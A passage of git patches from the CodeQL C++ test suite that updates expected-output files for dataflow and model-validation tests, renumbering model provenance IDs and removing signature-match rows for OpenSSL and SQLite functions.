a/cpp/ql/test/library-tests/structs/compatible_c/c2_gnu.c +++ b/cpp/ql/test/library-tests/structs/compatible_c/c2_gnu.c @@ -7,4 +7,4 @@ struct Kiwi { struct Lemon { signed int __attribute__ ((vector_size (16))) lemon_x; }; -// semmle-extractor-options: -std=c99 --clang --edg --clang_vector_types --gnu_version 40700 +// semmle-extractor-options: -std=c99 --clang --gnu_version 40700 From f82f1c84f3a20cdf6ae11e644feb2e485f999197 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 16 May 2025 14:14:46 +0100 Subject: [PATCH 177/535] C++: Accept test changes. --- .../dataflow/external-models/flow.expected | 24 +- .../external-models/validatemodels.expected | 51 -- .../taint-tests/test_mad-signatures.expected | 596 ------------------ 3 files changed, 12 insertions(+), 659 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected index e071294adfee..2eb0844862d6 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected @@ -10,31 +10,31 @@ edges | asio_streams.cpp:100:44:100:62 | call to buffer | asio_streams.cpp:103:29:103:39 | *send_buffer | provenance | Sink:MaD:6 | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | provenance | | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:100:44:100:62 | call to buffer | provenance | MaD:10 | -| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:23740 | -| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:23741 | -| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:23742 | +| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:23489 | +| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:23490 | +| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:23491 | | test.cpp:7:47:7:52 | value2 | test.cpp:7:64:7:69 | value2 | provenance | | | test.cpp:7:64:7:69 | value2 | test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | provenance | | -| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:23738 | -| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:23739 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:23487 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:23488 | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:17:24:17:24 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:21:27:21:27 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:25:35:25:35 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:32:41:32:41 | x | provenance | | | test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | | -| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:23739 | +| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:23488 | | test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | provenance | | -| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | MaD:23740 | +| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | MaD:23489 | | test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | | -| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:22:10:22:10 | z | provenance | Sink:MaD:23739 | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:22:10:22:10 | z | provenance | Sink:MaD:23488 | | test.cpp:21:27:21:27 | x | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | provenance | | -| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | MaD:23741 | +| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | MaD:23490 | | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | | -| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:23739 | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:23488 | | test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | provenance | | -| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:23742 | +| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:23491 | | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | -| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:23739 | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:23488 | | test.cpp:32:41:32:41 | x | test.cpp:7:47:7:52 | value2 | provenance | | | test.cpp:32:41:32:41 | x | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | nodes diff --git a/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected b/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected index 440183ae3a9d..ff5ad36e15cf 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected @@ -307,7 +307,6 @@ | Dubious signature "(BIO *,const char *,const OCSP_REQUEST *,int)" in summary model. | | Dubious signature "(BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *)" in summary model. | | Dubious signature "(BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int)" in summary model. | -| Dubious signature "(BIO *,const char *,int,int,int)" in summary model. | | Dubious signature "(BIO *,const char *,va_list)" in summary model. | | Dubious signature "(BIO *,const stack_st_X509_EXTENSION *)" in summary model. | | Dubious signature "(BIO *,const unsigned char *,long,int)" in summary model. | @@ -333,7 +332,6 @@ | Dubious signature "(BIO_ADDR *,const sockaddr *)" in summary model. | | Dubious signature "(BIO_ADDR *,int,const void *,size_t,unsigned short)" in summary model. | | Dubious signature "(BIO_METHOD *,..(*)(..))" in summary model. | -| Dubious signature "(BIO_MSG *,BIO_MSG *)" in summary model. | | Dubious signature "(BLAKE2B_CTX *,const BLAKE2B_PARAM *)" in summary model. | | Dubious signature "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)" in summary model. | | Dubious signature "(BLAKE2B_CTX *,const void *,size_t)" in summary model. | @@ -720,7 +718,6 @@ | Dubious signature "(EVP_PKEY_METHOD *,const EVP_PKEY_METHOD *)" in summary model. | | Dubious signature "(EVP_RAND *,EVP_RAND_CTX *)" in summary model. | | Dubious signature "(EVP_RAND_CTX *)" in summary model. | -| Dubious signature "(EVP_RAND_CTX *,..(*)(..))" in summary model. | | Dubious signature "(EVP_RAND_CTX *,unsigned char *,size_t)" in summary model. | | Dubious signature "(EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t)" in summary model. | | Dubious signature "(EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *)" in summary model. | @@ -1068,7 +1065,6 @@ | Dubious signature "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)" in summary model. | | Dubious signature "(OSSL_BASIC_ATTR_CONSTRAINTS *)" in summary model. | | Dubious signature "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)" in summary model. | -| Dubious signature "(OSSL_CALLBACK *,void *)" in summary model. | | Dubious signature "(OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *)" in summary model. | | Dubious signature "(OSSL_CMP_ATAVS *)" in summary model. | | Dubious signature "(OSSL_CMP_ATAVS **,const OSSL_CMP_ATAV *)" in summary model. | @@ -1298,8 +1294,6 @@ | Dubious signature "(OSSL_JSON_ENC *,int64_t)" in summary model. | | Dubious signature "(OSSL_JSON_ENC *,uint64_t)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *)" in summary model. | -| Dubious signature "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)" in summary model. | -| Dubious signature "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX **,const char **,const X509_PUBKEY *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,..(*)(..),void *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,CONF_METHOD *)" in summary model. | @@ -1308,13 +1302,10 @@ | Dubious signature "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)" in summary model. | -| Dubious signature "(OSSL_LIB_CTX *,OSSL_CALLBACK **,void **)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,OSSL_CORE_BIO *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,OSSL_INDICATOR_CALLBACK **)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,OSSL_PROPERTY_IDX)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,OSSL_PROVIDER_INFO *)" in summary model. | -| Dubious signature "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)" in summary model. | -| Dubious signature "(OSSL_LIB_CTX *,SSL_CTX *,const char *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,const BIO_METHOD *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *)" in summary model. | @@ -1322,7 +1313,6 @@ | Dubious signature "(OSSL_LIB_CTX *,const OSSL_DISPATCH *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,const OSSL_PROPERTY_DEFINITION *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t)" in summary model. | -| Dubious signature "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,const char *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,const char *,ENGINE *)" in summary model. | | Dubious signature "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *)" in summary model. | @@ -1462,8 +1452,6 @@ | Dubious signature "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)" in summary model. | | Dubious signature "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX *)" in summary model. | | Dubious signature "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)" in summary model. | -| Dubious signature "(OSSL_SELF_TEST *,const char *,const char *)" in summary model. | -| Dubious signature "(OSSL_SELF_TEST *,unsigned char *)" in summary model. | | Dubious signature "(OSSL_STATM *,OSSL_RTT_INFO *)" in summary model. | | Dubious signature "(OSSL_STATM *,OSSL_TIME,OSSL_TIME)" in summary model. | | Dubious signature "(OSSL_STORE_CTX *)" in summary model. | @@ -1590,10 +1578,6 @@ | Dubious signature "(PKCS12 *,stack_st_PKCS7 *)" in summary model. | | Dubious signature "(PKCS12_BAGS *)" in summary model. | | Dubious signature "(PKCS12_BAGS **,const unsigned char **,long)" in summary model. | -| Dubious signature "(PKCS12_BUILDER *)" in summary model. | -| Dubious signature "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *)" in summary model. | -| Dubious signature "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *)" in summary model. | -| Dubious signature "(PKCS12_BUILDER *,int,const char *,const PKCS12_ATTR *)" in summary model. | | Dubious signature "(PKCS12_MAC_DATA *)" in summary model. | | Dubious signature "(PKCS12_MAC_DATA **,const unsigned char **,long)" in summary model. | | Dubious signature "(PKCS12_SAFEBAG *)" in summary model. | @@ -1653,14 +1637,6 @@ | Dubious signature "(QLOG *,uint32_t)" in summary model. | | Dubious signature "(QLOG *,uint32_t,const char *,const char *,const char *)" in summary model. | | Dubious signature "(QLOG *,uint32_t,int)" in summary model. | -| Dubious signature "(QTEST_FAULT *,const unsigned char *,size_t)" in summary model. | -| Dubious signature "(QTEST_FAULT *,qtest_fault_on_datagram_cb,void *)" in summary model. | -| Dubious signature "(QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *)" in summary model. | -| Dubious signature "(QTEST_FAULT *,qtest_fault_on_handshake_cb,void *)" in summary model. | -| Dubious signature "(QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *)" in summary model. | -| Dubious signature "(QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *)" in summary model. | -| Dubious signature "(QTEST_FAULT *,size_t)" in summary model. | -| Dubious signature "(QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *)" in summary model. | | Dubious signature "(QUIC_CFQ *,QUIC_CFQ_ITEM *)" in summary model. | | Dubious signature "(QUIC_CFQ *,QUIC_CFQ_ITEM *,uint32_t)" in summary model. | | Dubious signature "(QUIC_CHANNEL *)" in summary model. | @@ -1755,8 +1731,6 @@ | Dubious signature "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)" in summary model. | | Dubious signature "(QUIC_TSERVER *)" in summary model. | | Dubious signature "(QUIC_TSERVER *,..(*)(..),void *)" in summary model. | -| Dubious signature "(QUIC_TSERVER *,SSL *)" in summary model. | -| Dubious signature "(QUIC_TSERVER *,SSL *,int)" in summary model. | | Dubious signature "(QUIC_TSERVER *,SSL_psk_find_session_cb_func)" in summary model. | | Dubious signature "(QUIC_TSERVER *,const QUIC_CONN_ID *)" in summary model. | | Dubious signature "(QUIC_TSERVER *,int,uint64_t *)" in summary model. | @@ -1831,7 +1805,6 @@ | Dubious signature "(SCT_CTX *,X509 *,X509 *)" in summary model. | | Dubious signature "(SCT_CTX *,X509_PUBKEY *)" in summary model. | | Dubious signature "(SCT_CTX *,uint64_t)" in summary model. | -| Dubious signature "(SD,const char *,SD_SYM *)" in summary model. | | Dubious signature "(SFRAME_LIST *)" in summary model. | | Dubious signature "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)" in summary model. | | Dubious signature "(SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *)" in summary model. | @@ -1873,11 +1846,6 @@ | Dubious signature "(SSL *,DTLS_timer_cb)" in summary model. | | Dubious signature "(SSL *,EVP_PKEY *)" in summary model. | | Dubious signature "(SSL *,GEN_SESSION_CB)" in summary model. | -| Dubious signature "(SSL *,SSL *)" in summary model. | -| Dubious signature "(SSL *,SSL *,int)" in summary model. | -| Dubious signature "(SSL *,SSL *,int,int,int)" in summary model. | -| Dubious signature "(SSL *,SSL *,int,long,clock_t *,clock_t *)" in summary model. | -| Dubious signature "(SSL *,SSL *,long,clock_t *,clock_t *)" in summary model. | | Dubious signature "(SSL *,SSL_CTX *)" in summary model. | | Dubious signature "(SSL *,SSL_CTX *,const SSL_METHOD *,int)" in summary model. | | Dubious signature "(SSL *,SSL_SESSION *)" in summary model. | @@ -2001,10 +1969,6 @@ | Dubious signature "(SSL_CTX *,GEN_SESSION_CB)" in summary model. | | Dubious signature "(SSL_CTX *,SRP_ARG *,int,int,int)" in summary model. | | Dubious signature "(SSL_CTX *,SSL *,const SSL_METHOD *)" in summary model. | -| Dubious signature "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)" in summary model. | -| Dubious signature "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int)" in summary model. | -| Dubious signature "(SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *)" in summary model. | -| Dubious signature "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)" in summary model. | | Dubious signature "(SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *)" in summary model. | | Dubious signature "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)" in summary model. | | Dubious signature "(SSL_CTX *,SSL_CTX_keylog_cb_func)" in summary model. | @@ -2074,7 +2038,6 @@ | Dubious signature "(SSL_SESSION *,time_t)" in summary model. | | Dubious signature "(SSL_SESSION *,uint32_t)" in summary model. | | Dubious signature "(SSL_SESSION *,void **,size_t *)" in summary model. | -| Dubious signature "(STANZA *,const char *)" in summary model. | | Dubious signature "(SXNET *)" in summary model. | | Dubious signature "(SXNET **,ASN1_INTEGER *,const char *,int)" in summary model. | | Dubious signature "(SXNET **,const char *,const char *,int)" in summary model. | @@ -2557,7 +2520,6 @@ | Dubious signature "(const COMP_CTX *)" in summary model. | | Dubious signature "(const COMP_METHOD *)" in summary model. | | Dubious signature "(const CONF *)" in summary model. | -| Dubious signature "(const CONF *,const char *,OSSL_LIB_CTX *)" in summary model. | | Dubious signature "(const CONF_IMODULE *)" in summary model. | | Dubious signature "(const CRL_DIST_POINTS *,unsigned char **)" in summary model. | | Dubious signature "(const CRYPTO_EX_DATA *)" in summary model. | @@ -3216,10 +3178,8 @@ | Dubious signature "(const char *,EVP_CIPHER **)" in summary model. | | Dubious signature "(const char *,EVP_MD **)" in summary model. | | Dubious signature "(const char *,OSSL_CMP_severity *,char **,char **,int *)" in summary model. | -| Dubious signature "(const char *,OSSL_LIB_CTX *)" in summary model. | | Dubious signature "(const char *,OSSL_LIB_CTX *,const char *)" in summary model. | | Dubious signature "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)" in summary model. | -| Dubious signature "(const char *,SD *,int)" in summary model. | | Dubious signature "(const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *)" in summary model. | | Dubious signature "(const char *,char *)" in summary model. | | Dubious signature "(const char *,char **,char **,BIO_hostserv_priorities)" in summary model. | @@ -3228,7 +3188,6 @@ | Dubious signature "(const char *,char **,size_t)" in summary model. | | Dubious signature "(const char *,char *,size_t)" in summary model. | | Dubious signature "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)" in summary model. | -| Dubious signature "(const char *,const BIGNUM *)" in summary model. | | Dubious signature "(const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *)" in summary model. | | Dubious signature "(const char *,const OPT_PAIR *,int *)" in summary model. | | Dubious signature "(const char *,const OSSL_PARAM *,int)" in summary model. | @@ -3251,8 +3210,6 @@ | Dubious signature "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)" in summary model. | | Dubious signature "(const char *,const char *,const char *,int)" in summary model. | | Dubious signature "(const char *,const char *,int)" in summary model. | -| Dubious signature "(const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *)" in summary model. | -| Dubious signature "(const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *)" in summary model. | | Dubious signature "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)" in summary model. | | Dubious signature "(const char *,const char *,size_t)" in summary model. | | Dubious signature "(const char *,const char *,stack_st_CONF_VALUE **)" in summary model. | @@ -3268,9 +3225,6 @@ | Dubious signature "(const char *,int)" in summary model. | | Dubious signature "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *)" in summary model. | | Dubious signature "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *)" in summary model. | -| Dubious signature "(const char *,int,const char *,const BIGNUM *)" in summary model. | -| Dubious signature "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)" in summary model. | -| Dubious signature "(const char *,int,const char *,const char *,const BIGNUM *,unsigned long)" in summary model. | | Dubious signature "(const char *,int,int,..(*)(..),void *)" in summary model. | | Dubious signature "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)" in summary model. | | Dubious signature "(const char *,int,int,int)" in summary model. | @@ -3318,7 +3272,6 @@ | Dubious signature "(const sqlite3_value *)" in summary model. | | Dubious signature "(const stack_st_SCT *,unsigned char **)" in summary model. | | Dubious signature "(const stack_st_X509 *)" in summary model. | -| Dubious signature "(const stack_st_X509 *,const stack_st_X509 *)" in summary model. | | Dubious signature "(const stack_st_X509_ATTRIBUTE *)" in summary model. | | Dubious signature "(const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int)" in summary model. | | Dubious signature "(const stack_st_X509_ATTRIBUTE *,int)" in summary model. | @@ -3665,7 +3618,6 @@ | Dubious signature "(stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *)" in summary model. | | Dubious signature "(stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | | Dubious signature "(stack_st_X509 *,IPAddrBlocks *,int)" in summary model. | -| Dubious signature "(stack_st_X509 *,X509 *)" in summary model. | | Dubious signature "(stack_st_X509 *,X509 *,int)" in summary model. | | Dubious signature "(stack_st_X509 *,const X509_NAME *)" in summary model. | | Dubious signature "(stack_st_X509 *,const X509_NAME *,const ASN1_INTEGER *)" in summary model. | @@ -3798,7 +3750,6 @@ | Dubious signature "(void *,const OSSL_PARAM[])" in summary model. | | Dubious signature "(void *,const char *,int)" in summary model. | | Dubious signature "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])" in summary model. | -| Dubious signature "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])" in summary model. | | Dubious signature "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)" in summary model. | | Dubious signature "(void *,int)" in summary model. | | Dubious signature "(void *,int,const OSSL_PARAM[])" in summary model. | @@ -3808,8 +3759,6 @@ | Dubious signature "(void *,size_t,const char *,int)" in summary model. | | Dubious signature "(void *,size_t,size_t,const char *,int)" in summary model. | | Dubious signature "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)" in summary model. | -| Dubious signature "(void *,size_t,unsigned char **,size_t *,const size_t *)" in summary model. | -| Dubious signature "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)" in summary model. | | Dubious signature "(void *,sqlite3 *,int,const char *)" in summary model. | | Dubious signature "(void *,sqlite3_uint64)" in summary model. | | Dubious signature "(void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t)" in summary model. | diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected b/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected index f95cbea32923..7a5791c27569 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected @@ -21,12 +21,9 @@ signatureMatches | arrayassignment.cpp:3:6:3:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | | arrayassignment.cpp:3:6:3:9 | sink | (int) | | ossl_tolower | 0 | | arrayassignment.cpp:3:6:3:9 | sink | (int) | | ossl_toupper | 0 | -| arrayassignment.cpp:3:6:3:9 | sink | (int) | | pulldown_test_framework | 0 | | arrayassignment.cpp:3:6:3:9 | sink | (int) | | sqlite3_compileoption_get | 0 | | arrayassignment.cpp:3:6:3:9 | sink | (int) | | sqlite3_errstr | 0 | -| arrayassignment.cpp:3:6:3:9 | sink | (int) | | tls1_alert_code | 0 | | arrayassignment.cpp:3:6:3:9 | sink | (int) | | tls13_alert_code | 0 | -| arrayassignment.cpp:3:6:3:9 | sink | (int) | | wait_until_sock_readable | 0 | | arrayassignment.cpp:88:7:88:9 | get | (int) | | ASN1_STRING_type_new | 0 | | arrayassignment.cpp:88:7:88:9 | get | (int) | | ASN1_tag2bit | 0 | | arrayassignment.cpp:88:7:88:9 | get | (int) | | ASN1_tag2str | 0 | @@ -49,12 +46,9 @@ signatureMatches | arrayassignment.cpp:88:7:88:9 | get | (int) | | ossl_cmp_bodytype_to_string | 0 | | arrayassignment.cpp:88:7:88:9 | get | (int) | | ossl_tolower | 0 | | arrayassignment.cpp:88:7:88:9 | get | (int) | | ossl_toupper | 0 | -| arrayassignment.cpp:88:7:88:9 | get | (int) | | pulldown_test_framework | 0 | | arrayassignment.cpp:88:7:88:9 | get | (int) | | sqlite3_compileoption_get | 0 | | arrayassignment.cpp:88:7:88:9 | get | (int) | | sqlite3_errstr | 0 | -| arrayassignment.cpp:88:7:88:9 | get | (int) | | tls1_alert_code | 0 | | arrayassignment.cpp:88:7:88:9 | get | (int) | | tls13_alert_code | 0 | -| arrayassignment.cpp:88:7:88:9 | get | (int) | | wait_until_sock_readable | 0 | | arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ASN1_STRING_type_new | 0 | | arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ASN1_tag2bit | 0 | | arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ASN1_tag2str | 0 | @@ -77,12 +71,9 @@ signatureMatches | arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | | arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ossl_tolower | 0 | | arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | ossl_toupper | 0 | -| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | pulldown_test_framework | 0 | | arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | sqlite3_compileoption_get | 0 | | arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | sqlite3_errstr | 0 | -| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | tls1_alert_code | 0 | | arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | tls13_alert_code | 0 | -| arrayassignment.cpp:90:7:90:16 | operator[] | (int) | | wait_until_sock_readable | 0 | | atl.cpp:71:5:71:17 | _U_STRINGorID | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:71:5:71:17 | _U_STRINGorID | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | | atl.cpp:71:5:71:17 | _U_STRINGorID | (unsigned int) | | Jim_IntHashFunction | 0 | @@ -99,7 +90,6 @@ signatureMatches | atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | X509_LOOKUP_meth_new | 0 | | atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | a2i_IPADDRESS | 0 | | atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | a2i_IPADDRESS_NC | 0 | -| atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | new_pkcs12_builder | 0 | | atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | opt_path_end | 0 | | atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | opt_progname | 0 | | atl.cpp:72:5:72:17 | _U_STRINGorID | (const char *) | | ossl_lh_strcasehash | 0 | @@ -109,7 +99,6 @@ signatureMatches | atl.cpp:201:8:201:12 | GetAt | (size_t) | | ossl_param_bytes_to_blocks | 0 | | atl.cpp:201:8:201:12 | GetAt | (size_t) | | ossl_quic_sstream_new | 0 | | atl.cpp:201:8:201:12 | GetAt | (size_t) | | ssl_cert_new | 0 | -| atl.cpp:201:8:201:12 | GetAt | (size_t) | | test_get_argument | 0 | | atl.cpp:206:10:206:17 | InsertAt | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 2 | | atl.cpp:206:10:206:17 | InsertAt | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 2 | | atl.cpp:206:10:206:17 | InsertAt | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 2 | @@ -157,7 +146,6 @@ signatureMatches | atl.cpp:206:10:206:17 | InsertAt | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | | atl.cpp:206:10:206:17 | InsertAt | (PROV_CIPHER_CTX *,const 